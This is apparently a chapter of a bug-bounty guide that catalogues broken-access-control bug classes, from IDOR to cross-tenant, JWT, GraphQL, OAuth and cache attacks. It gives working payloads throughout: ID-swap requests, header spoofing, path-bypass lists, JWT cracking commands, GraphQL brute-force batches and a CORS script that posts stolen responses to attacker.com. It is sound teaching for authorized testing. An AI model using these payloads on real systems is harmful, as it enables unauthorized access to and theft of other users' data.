Skip to content

Part 02

The Complete Vulnerability Taxonomy

25 min readBroken Access Control

BAC is a family, not a single bug. The sub-classes below are the categories you’ll actually encounter on real targets. Each section gives you the shape of the bug, how to detect it, how to exploit it, and a real example. They run roughly easiest to hardest, from mechanical “swap an ID and replay” bugs to timing, crypto, and protocol-level attacks. Each carries an Easy Medium Hard tag showing how much has to line up to exploit it. Difficulty is not impact: several “Easy” bugs (an admin IDOR, a mass-assignment role flip) are among the highest-paying findings in this guide.

IDOR

2.1 IDOR: Insecure Direct Object Reference High Frequency Easy

Section titled “2.1 IDOR: Insecure Direct Object Reference High Frequency Easy”

IDOR is the canonical BAC bug. A request references an object by a direct identifier (database row ID, filename, GUID), and the server returns or modifies that object without verifying the caller owns it. CWE-639. In API terms this is BOLA, Broken Object Level Authorization. It ranks API1:2023 and is the most common and most impactful API vulnerability class. If you learn to find one bug well, make it this one.

HTTP · GET account by ID
GET /api/v2/accounts/10472/profile HTTP/1.1
Host: app.example.com
Cookie: session=eyJ1aWQiOjU1NX0... # attacker is user 555, but server returns user 10472's data
200 OK
{
"user_id": 10472,
"email": "victim@example.com",
"ssn": "123-45-6789"
}
Type Example Exploitability Approach
Sequential integer /orders/10472 Trivial Decrement, increment, fuzz a range.
UUID v4 /orders/9c3b4d... Conditional Look for leaks: search APIs, public profiles, support tickets, exports, error pages, JSON dumps.
Encoded /u/MTA0NzI (base64 of 10472) Easy Decode → modify → re-encode.
Hashed /u/c4ca4238... (md5 of 1) Easy Try hashing small integers / common strings.
Composite /inv/INV-2026-000123 Medium Reverse pattern, enumerate counter.
Timestamp-based /msg/1716800000123 Medium Predict around your own timestamps.
Indirect via filter ?customer=acme&email=* High Most overlooked. Modify filters, broaden scope.
  1. Sign up two accounts (A and B). Note their IDs.
  2. Browse the entire app as B while Burp records traffic. Trigger every action that touches a resource: view profile, view order, edit, delete, export, share, comment, upload, message.
  3. For every request, identify the object identifier. Replay B’s requests with A’s session, so A’s session carries B’s identifiers.
  4. Replay each modified request in A’s session. Does the server return B’s data? Modify it? Delete it?
  5. Repeat with no session (anonymous), with a guest token, with low-priv role, with read-only role.
  6. Then automate it. Manual identifier-swapping doesn’t scale past a handful of endpoints. Run Autorize / Auth Analyzer (§4) so every request you make as B is silently replayed with A’s session and the responses diffed, that’s how you turn “walk the app once” into full-coverage BOLA testing. Automated multi-session diffing is now the state-of-the-art detection primitive; the tool churns, the technique doesn’t.
  • GET /api/users/{id}, profile read
  • PATCH /api/users/{id}, profile write (juicy: email/2FA change → ATO)
  • GET /api/orders/{id}/invoice.pdf, financial leakage
  • POST /api/teams/{tid}/members, add yourself to someone else’s team
  • DELETE /api/files/{fid}, destructive (often the highest CVSS)
  • GET /api/exports/{eid}/download, bulk data leak via someone else’s export
  • POST /api/messages?conversation={cid}, inject into private chats

HORIZONTAL

Same-role access across user boundaries. User A reads/modifies user B’s data even though both are the same role (both “members”, both “customers”). Mechanically this is IDOR’s sibling, the distinction is who controls the resource boundary. Test exactly like §2.1, but pay attention to shared resources (teams, organizations, projects) where the bug appears when invitations or memberships aren’t enforced.

VERTICAL

2.3 Vertical Privilege Escalation Critical Impact Easy

Section titled “2.3 Vertical Privilege Escalation Critical Impact Easy”

A low-privileged user performs an action restricted to higher-privileged users (admin, support, billing, owner). The escalation can be subtle (a single hidden admin field accepted on a normal endpoint) or wholesale (entire admin APIs reachable without role checks). CWE-269.

Discovered via JS bundle inspection
// In app.bundle.js
const ADMIN_ROUTES = [
"/api/admin/users",
"/api/admin/users/{id}/impersonate",
"/api/admin/billing/invoices",
"/api/admin/feature-flags"
];
// As a normal user, just hit them:
POST /api/admin/users/555/impersonate HTTP/1.1
Cookie: session=lowprivuser
200 OK # server returns an impersonation token for user 555
  1. Pull every JS bundle through linkfinder, getJS, SecretFinder. Extract endpoint strings.
  2. Sign up the lowest-privileged account you can (free tier, viewer, guest).
  3. Replay each discovered endpoint with your low-priv session. Note status codes: 200 is a hit; 403 means properly gated; 404 can still be a hit (some apps return 404 on real data when authz fails, try a known-bad ID too).
  4. For any 403, try the header tricks and method tampering in §2.6-2.7.

FORCED BROWSING

Resources or pages exist on the server but aren’t linked from any UI. The developer is relying on obscurity. Walk the namespace and they appear.

Wordlist-driven discovery
# Use ffuf with a smart wordlist
ffuf -u https://app.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-mc 200,301,302,401,403 \
-fc 404 \
-ac
# API path discovery — combine with HTTP method fuzzing
ffuf -u https://app.example.com/api/v1/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
-X GET,POST,PUT,DELETE,PATCH
  • SecLists/Discovery/Web-Content/api/
  • SecLists/Discovery/Web-Content/raft-large-*
  • SecLists/Discovery/Web-Content/CMS/admin-panels.txt
  • Custom wordlist built from the target’s JS bundles (huge signal, endpoints in the codebase usually exist).

FLAC

2.5 Missing Function-Level Access Control Easy

Section titled “2.5 Missing Function-Level Access Control Easy”

Adjacent to forced browsing, but the function is known, the bug is that the gate at the function entry point is missing. Classic shapes:

  • POST /api/users/me/upgrade-plan, anyone can upgrade themselves to a paid plan for free.
  • POST /api/coupons/apply, accepts arbitrary coupons because there’s no role check on coupon validity.
  • POST /api/support/tickets/{id}/reply, staff-only endpoint that ships in the API but isn’t role-gated.

Treat every state-changing verb as its own question mark: delete, archive, restore, close, approve, reject, refund, impersonate, unlock, reset-password, disable-2FA, transfer, withdraw, apply-coupon, change-plan, grant, revoke, invite, promote, export, audit. The crown jewels, admin password reset, impersonation, refunds, audit export, and the one-request test are in Chapter 4, function-level BAC.

METHOD

Authorization is often applied to specific methods. Swap the method and the check disappears.

  1. GET → POST/PUT/DELETE. A GET handler returns 200 but mutation handlers are unprotected, or vice versa.
  2. POST → PUT. Frameworks often map both to the same controller but apply middleware to only one.
  3. Custom verbs. Try PATCH, PROPFIND, REPORT, COPY, LOCK, MKCOL. Spring’s actuator endpoints especially.
  4. HEAD bypass. Some WAFs only inspect GET/POST. HEAD may reach the backend and still execute the controller body in some frameworks.
  5. Method override headers. X-HTTP-Method-Override: DELETE, X-Method-Override: PUT, _method=DELETE in form bodies. Hugely common bypass.
  6. OPTIONS preflight as oracle. The Allow header in OPTIONS sometimes reveals undocumented methods.
  7. Case sensitivity. Some routers normalize, some don’t. gEt, Get, lowercase. Rare but real.

HEADERS

When the front-of-house (reverse proxy, WAF, load balancer) makes authorization decisions and forwards trust signals to the backend, you can sometimes spoof those signals from the outside.

Headers that change authorization outcomes

Section titled “Headers that change authorization outcomes”
Header Why it matters
X-Original-URL: /admin IIS/some proxies route on this header instead of the request line. Hit /public with this header → reach /admin internally.
X-Rewrite-URL: /admin Same idea, different middleware.
X-Forwarded-For: 127.0.0.1 If admin is “only allowed from localhost”, spoof it. Variants: X-Real-IP, True-Client-IP, X-Originating-IP, X-Remote-IP, X-Cluster-Client-IP, CF-Connecting-IP, Forwarded: for=127.0.0.1.
X-Forwarded-Host / Host Some apps trust the Host header to determine tenant. Try Host: admin.target.com on any endpoint.
Referer: https://target.com/admin Some apps gate functionality by checking Referer. Trivial to spoof.
X-User-Id, X-Username, X-Auth-User, X-Forwarded-User Internal services frequently trust these. Worth a try on every endpoint that talks to a backend service.
X-Tenant-Id, X-Account-Id, X-Workspace-Id Common in microservice setups for tenancy. Change them.
Duplicate headers Send X-Forwarded-For: 8.8.8.8 and X-Forwarded-For: 127.0.0.1. Front and back ends may disagree on which wins → bypass.

MASS ASSIGNMENT

2.8 Mass Assignment / Autobinding High Payout Medium

Section titled “2.8 Mass Assignment / Autobinding High Payout Medium”

Frameworks like Rails, Spring, Django REST, and Express+Mongoose often bind incoming request bodies directly to model attributes. If a model has a privileged attribute (is_admin, role, balance, verified) and the dev forgot to whitelist allowed fields, you can set it from a normal request. CWE-915.

PATCH /api/users/me · normal request
{
"name": "alice",
"email": "alice@example.com"
}
PATCH /api/users/me · mass assignment attempt
{
"name": "alice",
"email": "alice@example.com",
"role": "admin", # <-- escalates to admin
"is_verified": true,
"credit_balance": 9999999,
"tenant_id": "competitor-corp"
}

You can’t blindly guess attributes; you need to find them. In order of yield:

  1. Read the GET response. The response to GET /api/users/me usually leaks the entire shape. Replay every field back in a PATCH/PUT.
  2. Admin endpoints leak schema. If you can get one admin response (via FLAC or otherwise), it shows you every field admins can set.
  3. JS bundle. Type definitions, GraphQL schemas, Redux state shapes, all leak attribute names.
  4. Public OpenAPI/Swagger. /swagger.json, /openapi.json, /api-docs, /v3/api-docs, try these on every API target.
  5. Error messages. Some frameworks reveal “unknown field X”, flip the polarity and discover real ones by sending random ones.
  6. GraphQL introspection, see §2.13.

CORS

CORS isn’t itself authorization, but bad CORS turns same-origin auth into cross-origin auth, meaning a malicious page in another tab reads authenticated responses from the target.

Server response Risk
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers reject this combo, but server may be lying, test with a real cross-origin fetch from a controlled domain.
Reflected Origin + Credentials: true Critical. Any origin you set is trusted. Origin: https://evil.com → server echoes it → cookies leak.
null origin allowed Sandboxed iframes, redirects, and data: URLs send Origin: null. If the server allows it, host a payload in an iframe with sandbox.
Subdomain wildcard with subdomain takeover If *.target.com is trusted and you take over old-dev.target.com, game over.
Pre-flight cache poisoning If preflight responses are cached across origins (rare but seen), one victim’s preflight authorizes attacker requests.
CORS PoC · cross-origin credentialed read
<script>
fetch("https://api.example.com/me", { credentials: "include" })
.then(r => r.text())
.then(t => fetch("https://attacker.com/exfil", {
method: "POST", body: t
}));
</script>

MULTI-TENANT

2.10 Cross-Tenant Access: The SaaS Goldmine High Bounty Medium

Section titled “2.10 Cross-Tenant Access: The SaaS Goldmine High Bounty Medium”

In multi-tenant SaaS, Slack, Notion, Linear, Salesforce, and essentially every B2B product, the tenant boundary (org / workspace / account) is the most consequential line in the whole system. Cross-tenant access is simply IDOR raised to the organizational level: instead of reading one user’s row, you read another company’s entire dataset. That’s why a single working cross-tenant read routinely pays five figures, sometimes six, and is almost always Critical: it implies breach of every customer at once.

How multi-tenancy is implemented (and where each model breaks)

Section titled “How multi-tenancy is implemented (and where each model breaks)”

Knowing how a target isolates tenants tells you where to push. Four models dominate:

Model How it works Where it breaks
Shared DB + tenant column
(by far the most common)
One database; every row carries a tenant_id, and every query must add WHERE tenant_id = ?. A single query that forgets the filter leaks everyone. Raw SQL, joins, aggregates, reports, search, and admin tooling routinely bypass the ORM’s default scope.
Row-Level Security (RLS) The database enforces the tenant filter from a session variable the app sets per request. Any path that forgets to SET the session var, background workers, read replicas, migrations, cron, runs unscoped.
Schema-per-tenant One database, a separate schema per tenant. Schema chosen from a client-controlled name; cross-schema search; a shared “public” schema that leaks.
Database-per-tenant A separate database/cluster per tenant. Connection routing keyed on client input; a shared cache, queue, or search index that ignores the DB boundary.
  • Subdomain: https://acme.app.com → tenant acme
  • URL path: /orgs/acme/projects
  • Query string: ?org_id=42
  • Header: X-Org-ID: 42 (also X-Tenant-Id, X-Account-Id, X-Workspace-Id)
  • JWT claim: {"org": "acme"}
  • Cookie: tenant=acme
  • Body field: { "org_id": 42, ... } or GraphQL variable
  • Implicit, inferred from a resource ID and never sent explicitly (the most dangerous kind)
  • Out-of-band, storage keys (s3://bucket/acme/…), queue/event payloads, gRPC metadata

Provision two organizations you control (call them A = 42 and B = 77), each with its own user. Log in as A and try to reach B’s data by substituting B’s identifier, the whole class reduces to this move:

HTTP · the two-org swap
# Logged in as an Org A user; target Org B.
GET /api/orgs/42/invoices HTTP/1.1 # baseline: your own org
Cookie: session=<org-A user>
GET /api/orgs/77/invoices HTTP/1.1 # swap in Org B's id...
Cookie: session=<org-A user> # ...keep A's session
200 OK # + Org B's invoices -> cross-tenant read

1 · Conflicting tenant signals. When several places carry the tenant, make them disagree and see which layer the server trusts. The identity token should always win; frequently the request does.

HTTP · make the signals disagree
POST /api/reports HTTP/1.1
Authorization: Bearer <JWT with "org":"A"> # identity says A
X-Org-Id: B # header says B
Content-Type: application/json
{ "org_id": "B" } # body says B
# If the response is scoped to B, the server trusts the request over the token.

2 · Implicit tenant from a resource ID. The highest-yield variant: the endpoint takes only a resource id and infers the tenant from it, so ownership is never actually checked.

HTTP · implicit tenant (never verified)
GET /api/projects/PRJ-00193/members HTTP/1.1 # PRJ-00193 is another org's
Cookie: session=<org-A user>
# The project's org is looked up FROM the project, so your org is never compared.
# Harvest foreign ids from: audit logs, webhooks, link/OG previews, errors, exports.

3 · Spoofing the internal tenant header. A gateway authenticates you, then forwards a tenant header to internal services that trust it blindly. If you can set it from outside, you re-scope yourself.

HTTP · inject the internal tenant header
GET /api/dashboard HTTP/1.1
Cookie: session=<org-A user>
X-Tenant-Id: 77 # variants: X-Org-Id, X-Account-Id, X-Workspace-Id, X-Customer-Id

4 · Async jobs & exports that lose tenant context. Background workers routinely authorize the request but then fetch by a global id without re-checking the tenant. Trigger one in your own org, learn the id shape, then walk it.

HTTP · export / job-id enumeration
# 1) Trigger in YOUR org, note the id format:
POST /api/exports HTTP/1.1 # -> { "job_id": "exp_8f21a0", "status": "queued" }
# 2) The worker drops tenant context — walk the id space:
GET /api/exports/exp_8f21a1/download HTTP/1.1 # another tenant's export
Cookie: session=<org-A user>

5 · Host / subdomain routing confusion. When the tenant is resolved from the Host header, override it, the app layer may key on the header while your session belongs to a different tenant.

HTTP · override the tenant Host
GET /api/settings HTTP/1.1
Host: victim-org.app.com # you're really on attacker-org.app.com
Cookie: session=<attacker-org user>
# Also try: X-Forwarded-Host: victim-org.app.com when a proxy rewrites Host.
  • Shared resource pools. Templates, public snippets, the integrations marketplace, and uploaded-file stores often share one pool across tenants and forget to filter by visibility/owner. For serving and storage mistakes, see the file-upload guide.
  • Invitations & membership. Invite yourself into another org, accept a stale invite after leaving, or flip an invite’s target org id. Membership endpoints are a classic cross-tenant foothold.
  • Webhooks & callbacks. Per-tenant webhooks signed with a global secret let you forge/replay another tenant’s events; SSRF-y callback URLs can pivot into internal per-tenant services.
  • Search & global indexes. Elasticsearch / vector / analytics indexes that aren’t filtered by tenant bleed across orgs, query for terms only another tenant would have.
  • Nested / sub-resource traversal. org → project → document → comment: the parent check passes but a child resolver skips the tenant filter (the ReBAC failure in §6).
  • Cache keyed without tenant. A response cached without the tenant in the key gets served to the next org (see §2.16).
  • Legacy / deprecated API surfaces. Old API versions and pre-GA endpoints often predate the current isolation model. This is exactly how the 2025 Microsoft Entra ID break worked (§6): a legacy Graph API trusted an unsigned internal token whose tenant field it never validated, cross-tenant impersonation of any tenant globally.
  1. Provision two orgs you control (A and B), each with a user, ideally one of every role per org.
  2. Catalog every place the tenant appears (the list above): subdomain, path, query, header, cookie, JWT, body, storage keys.
  3. Swap B’s identifiers into A’s requests and watch for 200 + B’s data. Automate with a second-org session profile (§4).
  4. Conflict the signals (JWT=A, header/body=B) to find which layer is trusted.
  5. Harvest foreign resource ids for the implicit-tenant endpoints, audit logs, webhooks, previews, errors, exports.
  6. Exercise the async surface, trigger exports/reports/jobs and enumerate their ids.
  7. Hit the shared pools, templates, integrations, files, search, invitations.
  8. Prove impact with your OWN second org as the victim, read one distinctive field to demonstrate the boundary crossed. Never touch a real customer.

PATH

Different parts of the stack parse paths differently. When they disagree, authz at one layer can be bypassed at another.

URL gymnastics
/admin # baseline 403
/admin/ # trailing slash sometimes bypasses
/admin/. # dot-segment
//admin # double slash
/./admin
/admin%20 # trailing space (URL encoded)
/admin%09 # tab
/admin%00 # null byte
/admin..;/ # Tomcat path parameter
/admin..%2f # encoded dot-segment
/admin..%252f # double-encoded
/admin/%2e%2e/admin
/public/..%2fadmin
/admin#.css # fragment + extension trick
/admin?.json
/admin.json # extension based bypass — common with WAFs allowlisting static
/admin.html
/.;/admin # jetty/tomcat
/;/admin
/admin/%2e/ # normalization mismatch

Client-Side Path Traversal (CSPT): the 2024-2026 twist

Section titled “Client-Side Path Traversal (CSPT): the 2024-2026 twist”

Path confusion is no longer only a server-side game. In CSPT, the front-end takes an attacker-influenced value (an ID, a slug, a redirect target) and builds an API path from it in the browser. Injecting ../ sequences then reroutes the app’s own authenticated fetch to a different, more privileged endpoint. Because that request carries the victim’s real session, CSPT turns a benign-looking reflected parameter into a same-origin, fully-authenticated request forgery. It chains well. Use CSPT to reach a state-changing endpoint, or combine CSPT with web cache deception (§2.16) for full account takeover. Real 2025 disclosures document that combination. Grep client bundles for string-concatenated request URLs (fetch(`/api/${id}`)) and feed %2e%2e%2f into every value that lands in one.

JWT

JWTs are the most common session/auth token in modern APIs and a fertile source of BAC bugs because they encode claims the server uses for authorization. Every claim is suspect.

Attack How Fixed?
alg: none Set header {"alg":"none"}, drop the signature. Server “verifies” successfully. Mostly, but still found in legacy/embedded.
Weak HS256 secret Crack the secret offline with hashcat -m 16500 or jwt_tool. Common in startups, IoT, internal tools.
Algorithm confusion (RS256 → HS256) Take the server’s RSA public key and use it as the HMAC secret. Sign your forged token with HS256. Library-dependent, still alive in many stacks.
kid SQL/path injection The kid header is used to look up the verification key. If it’s concatenated into a SQL query or filesystem path, you can point it at a known value (e.g. ../../../../dev/null → empty key, sign with empty secret). Niche but devastating when present.
jku / x5u abuse These headers tell the verifier where to fetch the key. Point at your own server, host a matching JWKS. If jku isn’t allowlisted: full forgery.
Embedded JWK The jwk header contains a key the server trusts. Embed your own; sign with its private half. Should never be trusted, sometimes is.
Claim tampering Modify role, scope, user_id, tenant in payload. Many apps don’t verify signature in dev/test/internal endpoints. Cross-environment leakage is real.
Expired/replay Old token still valid after logout/revoke/role change. Test logout invalidation. Stateless JWTs frequently fail this.
jwt_tool · key tests
# Decode and inspect
jwt_tool eyJhbGciOi...
# Try all known attacks automatically
jwt_tool eyJ... -M at -t https://app.example.com/api/me -rc "session=eyJ..."
# Algorithm confusion (RS256 -> HS256) with their public key
jwt_tool eyJ... -X k -pk pubkey.pem
# Crack HMAC secret
hashcat -a 0 -m 16500 token.txt rockyou.txt

GRAPHQL

GraphQL flips the threat model: one endpoint, many operations, and authorization that has to live in every resolver. Where REST has hundreds of endpoints that each might forget a check, GraphQL has hundreds of resolvers, and every field, every relationship edge, and every mutation is its own authorization decision. Teams routinely centralize authz at the HTTP layer (one /graphql route, one middleware) and then discover the middleware can’t see which object or which field a query is really asking for. The result is that all three API-layer BAC classes reappear at once: BOLA (object level, API1), BOPLA (object property/field level, API3), and BFLA (function/mutation level, API5). Learn to read a schema and GraphQL becomes one of the highest-yield surfaces you can test.

First fingerprint the engine. Apollo, Hasura, graphql-ruby, Yoga, Ariadne, and others differ in how they batch, whether they leak field suggestions, and what they default to. graphw00f identifies the implementation, which tells you which quirks to reach for. Then recover the schema; if introspection is open, the entire read+write surface is handed to you:

GraphQL · enumerate the schema (introspection ON)
# Every type and its fields — the whole read + write surface
{ __schema {
queryType { name } mutationType { name }
types { name kind fields { name args { name } } }
} }
# Just the mutations — this is your BFLA hit-list. Start here.
{ __schema { mutationType { fields { name args { name } } } } }

Introspection is disabled by default on most modern production servers, so when it’s off, recover the schema another way:

  • Field-suggestion abuse. GraphQL servers helpfully suggest similar field names on typos (“Did you mean email?”). Clairvoyance weaponizes this to rebuild a usable schema with introspection fully disabled.
  • Client JS bundles. Apollo / urql / Relay clients ship the exact query and mutation strings , grep the bundles for gql`, query , mutation .
  • Alternate endpoints & consoles. /graphql/console, /v1/graphql, /api/graphql, /__graphql, /graphiql, plus staging mirrors that often leave introspection on.
  • Visualize it. Feed introspection JSON to GraphQL Voyager / InQL to see the relationship graph, the edges are exactly where nested-traversal BOLA hides.

The node() interface, GraphQL’s universal IDOR

Section titled “The node() interface, GraphQL’s universal IDOR”

Relay-style schemas expose a single node(id:) field that resolves any object by its global ID. Those IDs are almost always just base64("Type:database_id"), trivially decodable and forgeable. If that one resolver skips the ownership check (a very common mistake, because it’s generic code), you get a BOLA that reaches every type in the schema from one field.

bash + GraphQL · node() global-ID IDOR (Relay)
# Relay global IDs are just base64("Type:dbid") — decode, tweak, re-encode
$ echo -n 'VXNlcjoxMDA=' | base64 -d # -> User:100
$ echo -n 'User:101' | base64 # -> VXNlcjoxMDE=
# One resolver, every type. If it forgets ownership, it's a universal BOLA.
{ node(id: "VXNlcjoxMDE=") {
... on User { id email phone lastLoginIp }
} }

Object- and field-level gaps (BOLA / BOPLA)

Section titled “Object- and field-level gaps (BOLA / BOPLA)”

Even without node(), most schemas expose by-ID lookups (user(id:), order(id:)). Two things to test on each: can you read another user’s object (BOLA), and can you read sensitive fields the UI never requests (BOPLA)? Field-level is the subtler bug, authz is frequently applied at the type level (“can you see a User?”) but not per field (“can you see this User’s ssn?”), so simply asking for the property returns it.

GraphQL · field-level authz gap (BOPLA)
# authz was applied at the type level, not per field — ask for the sensitive ones
{ user(id: 1) {
id name
email # PII — should require ownership
isAdmin # authorization flag leaked
internalNotes # staff-only
paymentMethods { last4 brand } # billing
} }
GraphQL · nested / relationship traversal
# Parent object is yours; walk the edges into objects that are not
{ order(id: "my-own-order-id") {
id total
customer { # related resolver often skips its own check
email
address { line1 city zip }
orders { id total } # the victim's OTHER orders, via the edge
}
} }

The write surface is where the money is. Because the front-end simply never renders a mutation for an unprivileged user, teams forget the resolver itself is unguarded. Pull the full mutation list from introspection (or the JS bundle) and fire each one as a low-privileged, or anonymous, user.

GraphQL · mutation authorization gap (BFLA)
# The UI never renders this for a normal user — but the resolver still runs
mutation {
updateUserRole(userId: "2", role: ADMIN) { id role }
}
# Same drill for: setEntitlement, impersonate, transferOwnership,
# deleteWorkspace, applyCoupon, updateBillingPlan, inviteMember ...

Aliasing & batching: one request, many privileged calls

Section titled “Aliasing & batching: one request, many privileged calls”

GraphQL lets a single request contain many operations. That’s a rate-limit and authorization-cache nightmare: limits and checks are frequently applied per HTTP request, not per operation. Aliasing runs the same field many times under different names; batching submits an array of whole operations. Both defeat per-request throttling, and both chain straight into the race conditions in §2.17.

GraphQL · aliasing — N privileged calls in ONE request
# Brute force that beats per-REQUEST rate limits (OTP, reset codes, coupons)
mutation {
a: verifyOtp(code: "0000") { token }
b: verifyOtp(code: "0001") { token }
c: verifyOtp(code: "0002") { token }
# ... alias up to the depth/complexity ceiling — thousands per request
}
# Aliasing also multiplies BOLA — enumerate users in a single call:
{ u1: user(id: 1){ email } u2: user(id: 2){ email } u3: user(id: 3){ email } }
GraphQL · array batching (+ race synergy, §2.17)
# Many operations, often ONE authz/rate check for the whole batch.
# Redeem a single-use coupon repeatedly before the balance settles:
[
{"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"},
{"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"},
{"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}
]

Operation smuggling: directives, persisted queries & CSRF

Section titled “Operation smuggling: directives, persisted queries & CSRF”
  • Custom @auth directive gaps. When authorization is a per-field directive, the bug is a single field someone forgot to annotate. Diff sibling fields, one missing @auth is one finding.
  • Persisted-query / APQ allowlist bypass. Apollo’s Automatic Persisted Queries send a sha256Hash instead of the query; on PersistedQueryNotFound, many servers accept an arbitrary full query you supply alongside the hash, bypassing a query-allowlist WAF entirely. Register your own hash + malicious query and replay it.
  • operationName confusion. Send a document with multiple operations and control which executes via operationName; auth middleware that inspects only the first operation can be pointed at a benign one while a second runs.
  • CSRF via GET / form-encoding. If the endpoint runs mutations over GET, or accepts application/x-www-form-urlencoded (which skips the CORS pre-flight), any cross-site page can fire state-changing operations with the victim’s cookies.
GraphQL · CSRF when GET or form-encoding is accepted
# If the server runs mutations over GET, any cross-site page can trigger them
GET /graphql?query=mutation%7BdeleteAccount%7D HTTP/1.1
# Also test Content-Type: application/x-www-form-urlencoded (no pre-flight)
  1. Fingerprint the engine with graphw00f, it dictates suggestion, batching, and default-limit behavior.
  2. Recover the schema, introspection if open, else Clairvoyance + JS bundles.
  3. Build the mutation hit-list, every write op is a BFLA candidate. Run each as low-priv, then anonymous.
  4. Hit node() and every by-ID query as user A against user B’s (global) IDs, BOLA.
  5. Request sensitive fields on each type and walk nested edges. BOPLA and relationship traversal.
  6. Alias and batch every rate-limited or single-use operation (OTP, reset, coupon, invite), and cross with the race-condition playbook (§2.17).
  7. Try GET / form-encoded for CSRF and the APQ hash trick for allowlist bypass.
  8. Diff across sessions. Autorize/Auth Analyzer work on GraphQL too, template the request body so every operation is replayed as another identity.

WEBSOCKET

HTTP is well-tested; WebSockets often aren’t. Common WS auth bugs:

  • Connection authz only. The handshake checks who you are; every subsequent message is trusted. Send messages on behalf of other rooms/channels.
  • Channel subscription bypass. Subscribe to private-user-{other_id} channels, the server enforces nothing.
  • Token in query string. WS tokens often appear in URLs (Referer leak, log leak).
  • Origin not checked. Cross-origin WebSocket Hijacking (CSWSH), a malicious page opens a WS to the target carrying victim’s cookies.
  • Server-Sent Events. Same pattern; subscribe to other users’ SSE streams.

OAUTH

2.15 OAuth 2.0 / OIDC / SAML: Federated Auth Bugs Hard

Section titled “2.15 OAuth 2.0 / OIDC / SAML: Federated Auth Bugs Hard”

OAuth flows are dense with authorization decisions. The spec is fine; the implementations frequently aren’t. Common high-impact bugs:

  • Open redirect_uri. Wildcard or weak matching lets you redirect the auth code to a host you control → ATO via leaked code.
  • Missing/predictable state. Enables CSRF on the callback → attacker links their account to victim’s social login.
  • PKCE downgrade. Client supports PKCE but server doesn’t enforce it; intercepted code is exchangeable.
  • Scope upgrade. Request a token with extra scopes the user didn’t consent to; some servers grant them.
  • Token leakage via Referer. Implicit flow (deprecated, still around) puts the access token in the URL fragment; if any external script loads, it can read the Referer.
  • Code reuse. Authorization codes must be single-use; if they aren’t, intercepted codes work twice.
  • OIDC aud claim ignored. ID tokens minted for client A are accepted by client B because the aud claim isn’t validated.
  • SAML XML signature wrapping (XSW). Inject a second assertion the application reads while the signature validates the original. Still alive in 2026 in legacy enterprise SAML stacks.
  • SAML NameID confusion. Email-as-NameID lets you assert victim@target.com from an IdP you control if the SP doesn’t pin to an IdP per email domain.

CACHING

2.16 Cache & CDN Authorization Bypass Hard

Section titled “2.16 Cache & CDN Authorization Bypass Hard”

CDNs cache aggressively. If an authenticated response gets cached and served to other users, you have unintended cross-user disclosure.

  • Web Cache Deception. Request /account.json/nonexistent.css. Backend returns account JSON; CDN sees .css and caches it publicly. Next visitor hits the CDN and reads your data.
  • Cache poisoning via unkeyed header. Unkeyed X-Forwarded-Host influences response content; cache stores the poisoned version for all subsequent requests.
  • Vary header misconfiguration. Response varies by user but cache doesn’t include the session cookie in the cache key.
  • Stale-while-revalidate over auth boundary. Logged-out users get cached logged-in responses.
  • Static Path Deception. Map a dynamic, authenticated response onto a URL the cache treats as a static file, e.g. /profile/settings.js where the router serves /profile/settings but the CDN keys on the .js suffix and caches it publicly.
  • Cache Key Confusion. The cache and origin disagree on which parts of the URL are significant (delimiters, path parameters, encoded characters), so a request the origin treats as personalized is stored under a key an attacker, or the next anonymous visitor, can reproduce.

RACE

2.17 Race Conditions in Authorization Hard

Section titled “2.17 Race Conditions in Authorization Hard”

Time-of-check/time-of-use bugs in authorization are a fast-growing class. Modern frameworks make concurrent requests easy; modern apps frequently authorize once and forget.

  • Limit-overrun. Single-use coupon redeemed 50 times in parallel. Invite link consumed by 50 users. Voting once enforced per request but bypassable concurrently.
  • Authorization before state mutation. “Is this email yours?” check passes, then ownership is changed mid-flight by another request.
  • State machine skips. Order goes from pending → paid → shipped. Send two concurrent cancel and ship requests; if locking is weak, you ship a cancelled order.
  • Single-packet attack. Last-byte synchronization (Burp Repeater “Send group in parallel” with single-packet) puts dozens of requests on the wire in the same TCP segment, they hit the server within microseconds.
Connections2 backlinks · 15 outgoing · 4 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Broken Access ControlFor authorized security research only: bug bounty programs, your own systems, or scoped engagements with written permission.